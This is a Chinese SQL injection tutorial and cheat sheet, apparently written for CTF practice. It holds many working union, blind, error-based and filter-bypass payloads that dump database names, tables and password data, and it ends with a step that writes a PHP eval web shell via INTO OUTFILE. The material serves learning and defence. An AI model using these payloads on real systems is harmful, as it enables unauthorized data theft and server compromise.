SQL注入
SQL注入分类:
- 回显正常
- 联合查询 union select
- 回显报错
- Duplicate entry()
- extractvalue()
- updatexml()
- 盲注
- 布尔型盲注
- 基于时间的盲注sleep()
联合注入
联合语句是用来联合多个表进行查询。是将多个表合成为一个表。而在SQL注入中,联合查询的作用是:在已有的系统语句上,通过联合查询可以查询到数据库中的其他内容。
这里注意:联合查询时,输出的列数(字段数)需要一致才能成功,否则会报错 The used SELECT statements have a different number of columns
使用例子
1 | 语句1 union all 语句2 |
union 和 union all 有细微差别,但影响不大都可以用:
union:对两个结果集进行并集操作,不包括重复行,同时进行默认规则的排序;
union all:对两个结果集进行并集操作,包括重复行,不进行排序;
当将语句 1 返回 false 时,才会显示语句 2 的查询结果,判断显示位时就是利用这一点。
思路顺序
假设有 username 和 password 两个注入点,下面选择用 username 注入
判断注入点
判断注入类型
整数型查询 demo :select * from tablename where id = $_GET[‘id’]
字符型查询 demo :select * from tableName where username=’$_GET[‘username’]’ and username=’$_GET[‘password’]’
假设正常查询 ?username=1 ,然后拼接两次查询:
1 | ?username=1 and 1=1 |
前后页面(查询结果)没有变化是字符型。前后页面(查询结果)有变化是整数型。
判断闭合符
整数型就不用什么闭合符了,直接加上 union :
1 | ?username=1 union 语句2 |
字符型就需要判断闭合符号是什么,然后再加上注释符 #
将后面的闭合符号注释,使注入语句脱离闭合符号。(URL中 %23 为 # 的编码)
常见的闭合方式有:''
、""
、()
、('')
、("")
测试方法:在前面测试类型语句加上闭合符。如果页面(查询结果)有变化,那么闭合符就是当前语句中的。
当添加闭合符,然后使用下面两个 payload 检测都能显示结果,则是闭合符不正确。
1 | //显示结果 |
万能密码就是测试闭合符号最好的例子
判断显示位
语句 1 设置查询错误的语句,显示语句 2 查询结果
1 | ?username=-1' union select 1,2,3,...# |
判断字段数
利用 order by
对查询结果按照指定字段进行排序,可以用字段名,也可以用字段的栏位来进行指定,第一个字段为 1,第二个字段为 2 以此类推。
NUM 是字段数,取能够正常查询的最大值就是字段数:
1 | ?username=admin' order by NUM# |
超出字段数报错:Unknown column ‘NUM’ in ‘order clause’
查询信息
以下查询基于有 3 个回显点,1 不显示在页面上,因此将需要查询内容安排在 3
联合查询的语句 2 要放在回显位最后,不然语句 2 拼接有 sql 错误
查询数据库名
查询 sql 服务器全部数据库名
1
?username=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata#
查询执行 sql 语句的数据库名
1
?username=-1' union select 1,database(),3#
查询表名
查询 sql 服务器指定数据库表名
1
?username=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名'#
查询执行 sql 语句的数据库表名
1
?username=-1' union select 1,2,group_concat(table_name)#
查字段
1
?username=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'#
查数据
1
?username=1' union select 1,2,group_concat(字段1,字段2,...) from (数据库名.表名)#
参考资料
盲注
联合注入时,查询页面没有显示位时考虑使用盲注。
布尔盲注
定义
- 布尔型盲注是 SQL 盲注的一种,就是再进行 SQL 注入的时候, WEB 页面仅返回 true 或 false ,或者页面有无返回结果
- 布尔型盲注会根据 web 页面返回的 true 或 false 信息,对数据库中的信息进行猜解,并获取数据库中的相关信息
相关函数
substr()、substring()、mid()
- 说明:用来截取字符串中的一部分,在各个数据库中的函数名称是不一样的
- 使用方式(以substr为例):substr(arg1,int1,int2),arg1为被选取的字符串,int1为截取开始的位置,int2为截取长度
表示:从int1开始的位置,截取int2个字符,注意:int1是从1开始的,不是从0开始的。 - 举例:数据库名字为:users,执行命令:select substr(database(),1,3) 返回结果为use (从第1位开始,到第3位结束)
length()
- 说明:获取字符串长度
- 使用方法:length(arg1),arg1代表字符串
- 举例:数据库名字为:users
- 执行命令:select length(database()); 结果:5(数据库长度为5)
ascii() 、ord()
- 说明:将单一字符,转化为ascii码值
- 使用方式:ascii(str),str代表字符
- 举例:执行命令:select ascii(‘a’); 结果:97(a的ascii码值)
left()
- 说明:返回具有指定长度的字符串的左边部分。
- 使用方法:left(Str,length) str代表字符,length代表要查看具体左边字符的长度。
- 举例:执行命令:数据库名为 users select left(database(),3) 结果为:use
regexp()
- 说明:利用正则表达式查询匹配
- 使用方法:select user() regexp ‘^ro’; 利用正则表达式判断user是否为’ro’开始
- 自mysql 3.23.4版本后,正则不区分大小写,如果需要区分大小写的话,可以使用 BINARY 关键字,例如:select ‘Hello’ regexp binary ‘^h’;
获得数据库信息的过程
未整理,基础脚本:sql_injection_blind_Normal.py
获得数据库的长度
说明:通过页面回显判断数据库名长度
举例:数据库名为security1
2
3and (length(database()))>7 →有回显,说明数据库长度>7
and (length(database()))>8 →无回显,说明数据库长度<=8
and (length(database()))=8 →有回显,说明数据库长度=8获得数据库名
说明:通过改变n和m获取数据库的字符
方法:and ascii(substr(database(),n,1))=m
(n为位数,m为ascii码值)
举例:数据库名为security1
2and ascii(substr(database(),1,1))=97→无回显,说明数据库名第一位的ascii码不是97
and ascii(substr(database(),1,1))=115→有回显,说明数据库名第一位的ascii码是115获取数据库的表个数
方法:
and (select count(*) from information_schema.tables where table_schema=database())>n
改变n的值,并结合页面回显判断表的个数
举例:如下案例有回显说明数据库中有4个表1
and (select count(*) from information_schema.tables where table_schema=database())=4
获得数据库表名长度
方法:and (select length(table_name) from information_schema.tables where table_schema = database() limit n,1)>m
需要用limit来限制表的个数,每次读取一个表。
举例:如下有回显,说明数据库中,第一张表的长度为6位。1
and (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1)=6
获得数据库表名
方法:用limit限制表的个数和字符的个数
and ascii((substr((select table_name from information_schema.tables where table_schema=database() limit x,1),y,1)))=z
举例:如下有回显,说明数据库中,第一张表的第一个字符ascii码值<1001
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<100
获取列名(先获取列名个数,再获取列名长度,最后获取列名)
1
and (ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1)1,1)))>100 #
获得数据
1
and (ascii (substr((select 列名 from 数据库名.表名 limit 0,1),1,1)))=68 #
时间盲注
注入流程:
- 判断注入
1
2
3
4?id=1 and if(1=1,sleep(5),1) #回显正常
?id=1 and if(1=2,sleep(5),1) #回显异常
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:sleep(a) 延时 a 秒 - 猜解数据库长度
1
2
3
4
5#方式一,猜解当前数据库名长度且使用 if(),length(),sleep() 函数
?id=1 and if(length(database())=<int数值>,sleep(5),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:length(a)=b 截取字符串 a 的长度判断是否等于 b 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒 - 猜解数据库名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37#方式一,猜解当前数据库且使用 if(),left(),sleep() 函数
?id=1 and if(left(database(),<int数值>)=<字符>,sleep(),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:left(a,b)=c 从左侧截取字符串 a 的前 b 位正则判断是否等于 c 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒
#方式二,猜解当前数据库且使用 if(),like,sleep() 函数
?id=1 and if(database() like '<字符>%',sleep(),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:a like 'b%' 模糊判断 b 是否等于字符串 a 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒
#方式三,猜解当前数据库且使用 if(),mid(),sleep() 函数
?id=1 and if(mid(database(),<int数值>,<int数值>)=<字符>,sleep(),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:mid(a,b,c)=d 从 b 位开始,截取字符串 a 的 c 位正则判断是否等于 d 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒
#方式四,猜解当前数据库且使用 if(),substr(),sleep() 函数
?id=1 and if(substr(database(),<int数值>,<int数值>)=<字符>,sleep(),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:substr(a,b,c)=d 从 b 位开始,截取字符串 a 的 c 位正则判断是否等于 d 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒
#方式五,猜解当前数据库且使用 if(),ascii(),mid(),sleep() 函数
?id=1 and if(ascii(mid(database(),<int数值>,<int数值>))=<int数值>,sleep(),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:ascii(mid(a,b,c))=d 首先从 b 位开始,截取字符串 a 的 c 位且转换成ascii码然后正则判断是否等于 d 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒
#方式六,猜解当前数据库且使用 if(),ord(),substr(),sleep() 函数
?id=1 and if(ord(substr(database(),<int数值>,<int数值>))=<int数值>,sleep(),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:ord(ord(a,b,c))=d 首先从 b 位开始,截取字符串 a 的 c 位且转换成ascii码然后正则判断是否等于 d 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒
#注:ascii() = ord() / mid() = substr() - 猜解表名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37#方式一,猜解当前数据库第一张表的表名,使用 if(),left(),sleep() 函数
?id=1 and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),<int数值>)=<字符>,sleep(),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:left(a,b)=c 从左侧截取字符串 a 的前 b 位正则判断是否等于 c 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒
#方式二,猜解当前数据库第一张表的表名,使用 if(),like,sleep() 函数
?id=1 and if((select table_name from information_schema.tables where table_schema=database() limit 0,1) like '<字符>%',sleep(),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:a like 'b%' 模糊判断 b 是否等于字符串 a 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒
#方式三,猜解当前数据库第一张表的表名,使用 if(),mid(),sleep() 函数
?id=1 and if(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),<int数值>,<int数值>)=<字符>,sleep(),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:mid(a,b,c)=d 从 b 位开始,截取字符串 a 的 c 位正则判断是否等于 d 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒
#方式四,猜解当前数据库第一张表的表名,使用 if(),substr(),sleep() 函数
?id=1 and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),<int数值>,<int数值>)=<字符>,sleep(),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:substr(a,b,c)=d 从 b 位开始,截取字符串 a 的 c 位正则判断是否等于 d 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒
#方式五,猜解当前数据库第一张表的表名,使用 if(),ascii(),mid(),sleep() 函数
?id=1 and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),<int数值>,<int数值>))=<int数值>,sleep(),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:ascii(mid(a,b,c))=d 首先从 b 位开始,截取字符串 a 的 c 位且转换成ascii码然后正则判断是否等于 d 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒
#方式六,猜解当前数据库第一张表的表名,使用 if(),ord(),substr(),sleep() 函数
?id=1 and if(ord(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),<int数值>,<int数值>))=<int数值>,sleep(),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:ord(ord(a,b,c))=d 首先从 b 位开始,截取字符串 a 的 c 位且转换成ascii码然后正则判断是否等于 d 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒
#注:ascii() = ord() / mid() = substr() - 猜解字段名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37#方式一,猜解指定数据库,指定表的第一个字段名,使用 if(),left(),sleep() 函数
?id=1 and if(left((select column_name from information_schema.columns where table_schema='<数据库名>' and table_name='<表名>' limit 0,1),<int数值>)=<字符>,sleep(),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:left(a,b)=c 从左侧截取字符串 a 的前 b 位正则判断是否等于 c 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒
#方式二,猜解当前数据库第一张表的表名,使用 if(),like,sleep() 函数
?id=1 and if((select column_name from information_schema.columns where table_schema='<数据库名>' and table_name='<表名>' limit 0,1) like '<字符>%',sleep(),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:a like 'b%' 模糊判断 b 是否等于字符串 a 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒
#方式三,猜解当前数据库第一张表的表名,使用 if(),mid(),sleep() 函数
?id=1 and if(mid((select column_name from information_schema.columns where table_schema='<数据库名>' and table_name='<表名>' limit 0,1),<int数值>,<int数值>)=<字符>,sleep(),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:mid(a,b,c)=d 从 b 位开始,截取字符串 a 的 c 位正则判断是否等于 d 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒
#方式四,猜解当前数据库第一张表的表名,使用 if(),substr(),sleep() 函数
?id=1 and if(substr((select column_name from information_schema.columns where table_schema='<数据库名>' and table_name='<表名>' limit 0,1),<int数值>,<int数值>)=<字符>,sleep(),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:substr(a,b,c)=d 从 b 位开始,截取字符串 a 的 c 位正则判断是否等于 d 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒
#方式五,猜解当前数据库第一张表的表名,使用 if(),ascii(),mid(),sleep() 函数
?id=1 and if(ascii(mid((select column_name from information_schema.columns where table_schema='<数据库名>' and table_name='<表名>' limit 0,1),<int数值>,<int数值>))=<int数值>,sleep(),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:ascii(mid(a,b,c))=d 首先从 b 位开始,截取字符串 a 的 c 位且转换成ascii码然后正则判断是否等于 d 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒
#方式六,猜解当前数据库第一张表的表名,使用 if(),ord(),substr(),sleep() 函数
?id=1 and if(ord(substr((select column_name from information_schema.columns where table_schema='<数据库名>' and table_name='<表名>' limit 0,1),<int数值>,<int数值>))=<int数值>,sleep(),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:ord(ord(a,b,c))=d 首先从 b 位开始,截取字符串 a 的 c 位且转换成ascii码然后正则判断是否等于 d 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒
#注:ascii() = ord() / mid() = substr() - 猜解字段数据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37#方式一,猜解指定数据库、指定表、指定字段的第一行字段数据,使用 if(),left(),sleep() 函数
?id=1 and if(left((select <字段名> from <库名>.<表名> limit 0,1),<int数值>)=<字符>,sleep(),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:left(a,b)=c 从左侧截取字符串 a 的前 b 位正则判断是否等于 c 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒
#方式二,猜解当前数据库第一张表的表名,使用 if(),like,sleep() 函数
?id=1 and if((select <字段名> from <库名>.<表名> limit 0,1) like '<字符>%',sleep(),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:a like 'b%' 模糊判断 b 是否等于字符串 a 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒
#方式三,猜解当前数据库第一张表的表名,使用 if(),mid(),sleep() 函数
?id=1 and if(mid((select <字段名> from <库名>.<表名> limit 0,1),<int数值>,<int数值>)=<字符>,sleep(),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:mid(a,b,c)=d 从 b 位开始,截取字符串 a 的 c 位正则判断是否等于 d 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒
#方式四,猜解当前数据库第一张表的表名,使用 if(),substr(),sleep() 函数
?id=1 and if(substr((select <字段名> from <库名>.<表名> limit 0,1),<int数值>,<int数值>)=<字符>,sleep(),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:substr(a,b,c)=d 从 b 位开始,截取字符串 a 的 c 位正则判断是否等于 d 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒
#方式五,猜解当前数据库第一张表的表名,使用 if(),ascii(),mid(),sleep() 函数
?id=1 and if(ascii(mid((select <字段名> from <库名>.<表名> limit 0,1),<int数值>,<int数值>))=<int数值>,sleep(),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:ascii(mid(a,b,c))=d 首先从 b 位开始,截取字符串 a 的 c 位且转换成ascii码然后正则判断是否等于 d 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒
#方式六,猜解当前数据库第一张表的表名,使用 if(),ord(),substr(),sleep() 函数
?id=1 and if(ord(substr((select <字段名> from <库名>.<表名> limit 0,1),<int数值>,<int数值>))=<int数值>,sleep(),1)
#注:if(a,b,c) 判断 a 是否为True,True则返回 b ,False则返回 c
#注:ord(ord(a,b,c))=d 首先从 b 位开始,截取字符串 a 的 c 位且转换成ascii码然后正则判断是否等于 d 等于则返回True否则返回False
#注:sleep(a) 延时 a 秒
#注:ascii() = ord() / mid() = substr()
关键词过滤绕过
双写
假如过滤 or
,后端会将 or
替换为
(空),那么双写 or 绕过:
1 | oorr ==> or |
or
/and
过滤绕过
or / and 关键词被过滤,使用 ^
\ ()
绕过。
^ 在 sql 是按位与,前后值与操作返回值是 True 。后面拼接上去的是要函数,尝试拼接表达式(^(1=1)
)或者布尔值(^1
)都不行,需要拼接函数表达式。
1 | admin' or 1=1# |
=
过滤绕过
使用 like()
绕过
1 | admin' or 1=1# |
空格过滤绕过
使用 ()
绕过
1 | admin' or 1=1# |
堆叠注入
堆叠注入为攻击者提供了很多控制权,与仅限于 SELECT 语句的 联合注入 (union injection)攻击不同,堆叠注入可以用于执行任何SQL语句。
联合注入(union injection)是将两条语句合并在一起,union
或者 union all
执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
原理
sql 分号 ;
表示一条语句的结束。如果在分号 ;
的后面再加一条语句,这条语句也可以被执行,这样就可以在一次数据库的调用中执行多个语句。
1 | select * from users where id =1;show databases; |
局限性
堆叠注入并不是在每种情况下都能使用的。可能因为API或数据库引擎的不支持,堆叠注入都无法实现。
代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用联合注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。
常用语句
查询数据库
1
select flag from FLAG;show databases;
查询表
1
select flag from FLAG;show tables;
题目
参考文章
报错注入
报错注入定义
SQL 报错注入基于报错的信息获取,虽然数据库报错了,当我们已经获取到我们想要的数据。例如在增加删除修改处尝试( insert/update/delete )。
使用前提
后台没有屏蔽数据库报错信息,在语法发生错误的时候,错误信息会输出在前端。
常见报错函数
- updatexml():是mysql对xml文档数据进行查询和修改的xpath函数
- extractvalue():是mysql对xml文档数据进行查询的xpath函数
- floor():mysql中用来取整的函数
- exp():此函数返回e(自然对数的底)指数X的幂值
xpath报错注入(updatexml、extractvalue)
在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:
- updatexml()
- extractvalue()
当这两个函数在执行时,如果出现 xml 文档路径错误就会产生报错
extractvalue
extractvalue 从目标 XML 中返回包含所查询值的字符串
- 语法:
extractvalue(XML_document,xpath_string)
- 第一个参数:string格式,为XML文档对象的名称
- 第二个参数:xpath_string(xpath格式的字符串) select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
extractvalue 使用时,当 xpath_string 格式出现错误,mysql 则会报出 xpath 语法错误(xpath syntax)
例如:select user,password from users where user_id=1 and (extractvalue(1,0x7e));
由于 0x7e 就是 ~ 不属于 xpath 语法格式,因此报出 xpath 语法错误。
报错注入语句格式
1 | ?id=2 and extractvalue(0,concat(0x7e,(sql语句),0x7e))%23 |
- and \ or 任选,连接前后两个查询语句而已
- 0x7e 是
~
用于分割数据 - %23 是
#
看实际情况是否需要 url 编码 - sql语句可以加
()
括住,database 那些可以不加,用到 limit 爆破表名列名需要加上不然语法错误
爆破数据库名
查询执行 sql 语句的数据库名
1 | ?id=2 and extractvalue(0,concat(0x7e,database(),0x7e))# |
查询 sql 服务器全部数据库名
1 | ?id=2 and extractvalue(0,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))# |
爆破表名
xpath 回显只有一位使用 limit 函数逐个爆,且最长为 32 位,超过 32 位爆不了
limit 0,1
是第一个数据 limit 1,1
是第二个数据
1 | ?id=2 and extractvalue(0,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e))# |
查询全部表名:
1 | ?id=2 and extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where table_schema=database())))# |
爆破列名(字段)
假设表名为 flag
查询一个(limit 0,1
):
1 | # 限定数据库、表名 |
查询全部(group_concat(column_name)
):
1 | ?id=2 and extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("flag"))))# |
爆破数据
假设表名为 flag 、列名为 flag
1 | ?id=2 and extractvalue(0,concat(0x7e,(select flag from flag limit 0,1),0x7e))# |
只显示 32 位结果,当数据长度大于 32 位时显示不完全。
借助
mid()
1
?id=2 and extractvalue(0,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e))#
使用
left()
、right()
1
2
3
4
5
6#多种写法
?id=2 and extractvalue(0,concat(0x7e,(select left(group_concat(flag),32) from flag),0x7e))#
?id=2 and extractvalue(0,concat(0x7e,(select (left(group_concat(flag),32)) from flag),0x7e))#
?id=2 and extractvalue(0,concat(0x7e,left((select group_concat(flag) from flag)),0x7e))#1
2
3
4
5
6#多种写法
?id=2 and extractvalue(0,concat(0x7e,(select right(group_concat(flag),32) from flag),0x7e))#
?id=2 and extractvalue(0,concat(0x7e,(select (right(group_concat(flag),32)) from flag),0x7e))#
?id=2 and extractvalue(0,concat(0x7e,right((select group_concat(flag) from flag)),0x7e))#
使用
reverse()
1
2
3?id=2 and extractvalue(0,concat(0x7e,(select flag from flag),0x7e))#
?id=2 and extractvalue(0,concat(0x7e,reverse((select flag from flag)),0x7e))#
updatexml
updatexml 是一个使用不同的 xml 标记匹配和替换 xml 块的函数。
- 作用:改变文档中符合条件的节点的值
- 语法:
updatexml(XML_document,XPath_string,new_value)
- 第一个参数:是string格式,为XML文档对象的名称,文中为Doc
- 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】
- 第三个参数:string格式,替换查找到的符合条件的数据
updatexml 使用时,当 xpath_string 格式出现错误,mysql 则会爆出 xpath 语法错误(xpath syntax)
例如: select * from test where ide = 1 and (updatexml(1,0x7e,3));
由于 0x7e 是 ~ ,不属于 xpath 语法格式,因此报出 xpath 语法错误。
报错注入语句格式
1 | ?id=2 and updatexml(0,concat(0x7e,(sql语句),0x7e),1)%23 |
- and \ or 任选,连接前后两个查询语句而已
- 0x7e 是
~
用于分割数据 - %23 是
#
看实际情况是否需要 url 编码 - sql语句可以加
()
括住,database 那些可以不加,用到 limit 爆破表名列名需要加上不然语法错误
爆破数据库名
1 | ?id=2 and updatexml(0,concat(0x7e,database(),0x7e),1)# |
爆破表名
xpath 回显只有一位使用 limit 函数逐个爆,且最长为 32 位,超过 32 位爆不了
limit 0,1
是第一个数据 limit 1,1
是第二个数据
1 | ?id=2 and updatexml(0,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e),1)# |
一次性查询所有表名:
1 | ?id=2 and updatexml(0,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=DATABASE())),1)# |
爆破列名(字段)
假设表名为 flag
1 | ?id=2 and updatexml(0,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()and table_name='flag'limit 0,1),0x7e),1)# |
一次性查询全部字段名:
1 | ?id=2 and updatexml(0,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag')),1)# |
爆破数据
假设表名为 flag 、列名为 flag
1 | ?id=2 and updatexml(0,concat(0x7e,(select flag from flag limit 0,1),0x7e),1)# |
只显示 32 位结果,当数据长度大于 32 位时显示不完全。
借助
mid()
1
?id=2 and updatexml(0,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e),1)#
使用
left()
、right()
1
2
3
4
5
6#多种写法
?id=2 and updatexml(0,concat(0x7e,(select left(group_concat(flag),32) from flag),0x7e),1)#
?id=2 and updatexml(0,concat(0x7e,(select (left(group_concat(flag),32)) from flag),0x7e),1)#
?id=2 and updatexml(0,concat(0x7e,left((select group_concat(flag) from flag)),0x7e),1)#1
2
3
4
5
6#多种写法
?id=2 and updatexml(0,concat(0x7e,(select right(group_concat(flag),32) from flag),0x7e),1)#
?id=2 and updatexml(0,concat(0x7e,(select (right(group_concat(flag),32)) from flag),0x7e),1)#
?id=2 and updatexml(0,concat(0x7e,right((select group_concat(flag) from flag)),0x7e),1)#left 参数越大显示越长,最大只能 32 ;都是从头开始显示
right 参数大能会不能显示字符串最后字符
1
2
3
4
5
6
7
8
9
10
11admin'or(updatexml(0,concat(0x7e,left((select(group_concat(password))from(geek.H4rDsq1)),30)),0x7e),1)#
flag{3eadc040-974c-4535-84ce-0
admin'or(updatexml(0,concat(0x7e,left((select(group_concat(password))from(geek.H4rDsq1)),32)),0x7e),1)#
flag{3eadc040-974c-4535-84ce-07
admin'or(updatexml(0,concat(0x7e,right((select(group_concat(password))from(geek.H4rDsq1)),32)),0x7e),1)#
040-974c-4535-84ce-07a31c252352
admin'or(updatexml(0,concat(0x7e,right((select(group_concat(password))from(geek.H4rDsq1)),30)),0x7e),1)#
0-974c-4535-84ce-07a31c252352}
floor
floor (rand(0)*2)
floor 函数的作用就是返回小于等于括号内该值的最大整数。
rand() 本身是返回 0~1 的随机数,但在后面 *2 就变成了返回 0~2 之间的随机数。配合上 floor 函数就可以产生确定的两个数,即 0 和 1 。并且结合固定的随机数种子 0 ,它每次产生的随机数列都是相同的值。
hackbar自带payload
爆数据库
+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
得到数据库 sqli
爆表
?id=1+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=0x73716c69+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
得出第一个表为news 修改为limit 1,1 得出为flag表
爆列名
?id=1+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=0x666c6167+AND+table_schema=0x73716c69+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
得出列名为flag
最终payload
?id=1+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(flag)+AS+CHAR),0x7e))+FROM+sqli.flag+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
得到ctfhub{27b940d5fcab0bfddfc162ed1b6a95dd9b6de02d}
exp
exp()
当传递一个大于 709 的值时,函数 exp() 就会引起一个溢出错误。
1 | ' or EXP(~(SELECT * from(select version())a)) or ' |
相关题目
[极客大挑战 2019]HardSQL - 报错注入&关键词绕过
参考文章
https://www.cnblogs.com/c1047509362/p/12806297.html
https://www.cnblogs.com/c1047509362/p/12806297.html
outfile写文件
经典例子:sql-lab第七关
在 mysql 数据库中存在 select into outfile
命令,该命令与 load data infile
命令作用恰好相反。该命令的作用是将被选择的一行写入一个文件中。(文件被创建到服务器主机上)
但是,需要注意的是:into outfile和load_file()两种方式的利用都是具有局限性的。
利用条件
要知道网站的绝对路径,可以通过报错信息、phpinfo界面、404界面等一些方式知道
要有file权限,默认情况下只有root权限有
对目录要有写权限,一般image之类的存放图片的目录有写权限
还要注意的是:写的文件名一定是在网站中不存在的,不然也会不成功
常见的利用方式
直接写进文件里
select version() into outfile "绝对路径"
,其中 version() 可以换成其余的查询数据库信息的函数,或者将 webshell 写入到 php 文件修改文件结尾
select "<?php @eval($_POST['cmd']);?>" into outfile "xxx/test.php"
,这里需要获取到网站在系统中的具体路径(绝对路径)
注意
导出数据的路径需要查看 mysql 安装路径下的 my.ini 文件的 secure-file-priv 当前的值是什么,请务必将 secure-file-priv 的值设置成 secure-file-priv=(空)